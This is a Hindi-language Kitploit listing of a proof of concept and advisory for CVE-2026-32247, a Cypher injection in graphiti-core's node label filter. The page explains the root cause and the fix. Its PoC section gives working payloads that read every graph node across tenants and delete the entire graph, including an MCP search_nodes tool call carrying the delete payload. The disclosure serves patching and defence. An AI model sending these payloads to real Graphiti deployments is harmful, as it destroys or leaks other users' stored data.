Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-32247 — CVE-2026-32247 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो graphiti-core में असैनिटाइज़्ड node_labels के माध्यम से एक Cypher इंजेक्शन है, जो MCP search_nodes के ज़रिए डेटा एक्सफ़िल्ट्रेशन और ग्राफ़ डिलीशन प्रदर्शित करता है। | Kitploit
उपकरण/GitHubGitHub/romain-deperne/cve-2026-32247
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणडेटाबेस सुरक्षा
GitHubromain-deperne/cve-2026-32247

CVE-2026-32247

CVE-2026-32247 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो graphiti-core में असैनिटाइज़्ड node_labels के माध्यम से एक Cypher इंजेक्शन है, जो MCP search_nodes के ज़रिए डेटा एक्सफ़िल्ट्रेशन और ग्राफ़ डिलीशन प्रदर्शित करता है।

रिपॉजिटरी देखें
1341 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-32247 — graphiti-core में असुरक्षित node_labels के माध्यम से Cypher इंजेक्शन

गंभीरता: उच्च (CVSS 8.1) CWE: CWE-943 — डेटा क्वेरी लॉजिक में विशेष तत्वों का अनुचित निष्प्रभावीकरण प्रभावित: graphiti-core <= 0.28.1 (pip) में ठीक किया गया: 0.28.2 सलाह: GHSA-gg5m-55jj-8m5g NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-32247 श्रेय: Romain Deperne

संक्षेप में

graphiti-core उपयोगकर्ता-प्रदत्त नोड लेबल स्ट्रिंग्स को | के साथ जोड़कर और उन्हें एक कच्ची क्वेरी में संयोजित करके Cypher WHERE क्लॉज़ बनाता है। एक हमलावर मनमाने Cypher ऑपरेटर इंजेक्ट कर सकता है, सभी टेनेंट्स में किसी भी ग्राफ़ नोड से डेटा चुरा सकता है, या पूरे ग्राफ़ को हटा सकता है — श्रृंखला में कहीं भी कोई पैरामीटरीकरण नहीं, कोई सत्यापन नहीं।

विश्लेषण

मैंने MCP टूल और ग्राफ़ डेटाबेस के बीच की सीमा पर क्वेरी निर्माण की जाँच की। search_filters.py में, 'n:' + node_labels ने entity_types टूल पैरामीटर से मानों को सीधे एक Cypher क्वेरी में संयोजित किया।

जिस चीज़ ने इसे एक सामान्य इंजेक्शन से आगे दिलचस्प बनाया: Cypher का WITH क्लॉज़ आपको WHERE संदर्भ से बाहर निकलने और एक पूरी तरह से नई पाइपलाइन शुरू करने देता है। तो ) कोष्ठकबद्ध लेबल अभिव्यक्ति को बंद कर देता है, WITH n एक नए क्लॉज़ में परिवर्तित हो जाता है, और // मूल क्वेरी के शेष भाग को चुपचाप हटा देता है। एक पेलोड, पूर्ण ग्राफ़ पहुँच।

मैंने पहले एक स्टैंडअलोन स्क्रिप्ट में क्वेरी निर्माण को पुनः उत्पन्न किया, फिर रिपोर्ट करने से पहले एक ग्राफ़ डेटाबेस के विरुद्ध विनाशकारी मामले को सत्यापित किया।

प्रभावित घटक

फ़ाइल: graphiti_core/search/search_filters.py, पंक्तियाँ 91–92 और 134–135

# Vulnerable code — exact copy from source
node_labels = '|'.join(filters.node_labels)
node_label_filter = 'n:' + node_labels
# node_label_filter is then interpolated into a Cypher WHERE clause

प्रवेश बिंदु: mcp_server/src/graphiti_mcp_server.py, पंक्ति 441

search_filters = SearchFilters(
    node_labels=entity_types,  # user input passed directly, no validation
)

entity_types पैरामीटर MCP search_nodes टूल कॉल से सीधे क्वेरी बिल्डर में प्रवाहित होता है। Neo4j और FalkorDB दोनों बैकएंड प्रभावित हैं। Kuzu बैकएंड प्रभावित नहीं है क्योंकि यह पैरामीटरयुक्त क्वेरी का उपयोग करता है।

मूल कारण

node_label_filter मान (n:Label1|Label2) को Cypher क्वेरी में इस प्रकार एम्बेड किया जाता है:

WHERE (n:Label1|Label2) AND ...

क्योंकि लेबल को | से जोड़ा जाता है और कॉलर द्वारा कोष्ठकों में लपेटा जाता है, एक हमलावर को केवल अभिव्यक्ति को ) से बंद करना होता है और नई Cypher क्लॉज़ इंजेक्ट करनी होती है। // टिप्पणी ऑपरेटर मूल क्वेरी के शेष भाग को दबा देता है।

PoC

# Exact logic from search_filters.py lines 91-92
def build_filter(node_labels):
    labels = '|'.join(node_labels)
    return 'n:' + labels

# Benign
print(build_filter(["Person", "Organization"]))
# → n:Person|Organization  →  WHERE (n:Person|Organization) AND ...

# Exfiltration: read all nodes across all groups
print(build_filter(["Entity`) WITH n MATCH (x) RETURN x //"]))
# → n:Entity`) WITH n MATCH (x) RETURN x //
# Full Cypher: WHERE (n:Entity`) WITH n MATCH (x) RETURN x // AND ...
# The `) closes the WHERE, WITH starts a new pipeline, // drops the rest

# Deletion: wipe the entire graph
print(build_filter(["Entity`) WITH n MATCH (x) DETACH DELETE x //"]))

MCP टूल कॉल के माध्यम से:

{
  "tool": "search_nodes",
  "arguments": {
    "query": "test",
    "entity_types": ["Entity`) WITH n MATCH (x) DETACH DELETE x //"]
  }
}

प्रभाव

  • डेटा एक्सफ़िल्ट्रेशन: सभी group_id नेमस्पेस में किसी भी नोड/रिलेशनशिप को पढ़ें
  • डेटा विनाश: DETACH DELETE पूरे ग्राफ़ को मिटा देता है
  • टेनेंट आइसोलेशन बायपास: group_id फ़िल्टर इंजेक्टेबल लेबल फ़िल्टर के बाद लागू होता है — एक WITH क्लॉज़ इंजेक्ट करने से यह पूरी तरह बायपास हो जाता है
  • Graphiti कई AI एजेंट फ़्रेमवर्क में मेमोरी लेयर के रूप में उपयोग किया जाता है; MCP इंटरफ़ेस इसे किसी भी कनेक्टेड एजेंट द्वारा रिमोटली शोषण योग्य बनाता है

समाधान

पैच किया गया संस्करण इंटरपोलेशन से पहले अल्फ़ान्यूमेरिक अक्षरों की अनुमति-सूची के विरुद्ध नोड लेबल को मान्य करता है, और फ़ुलटेक्स्ट सर्च पाथ group_id मानों के लिए पैरामीटरयुक्त क्वेरी का उपयोग करता है।

समयरेखा

  • रिपोर्ट किया गया: GHSA निजी सलाहकार
  • पैच जारी: graphiti-core 0.28.2
  • CVE प्रकाशित: CVE-2026-32247
टूल डाउनलोड करें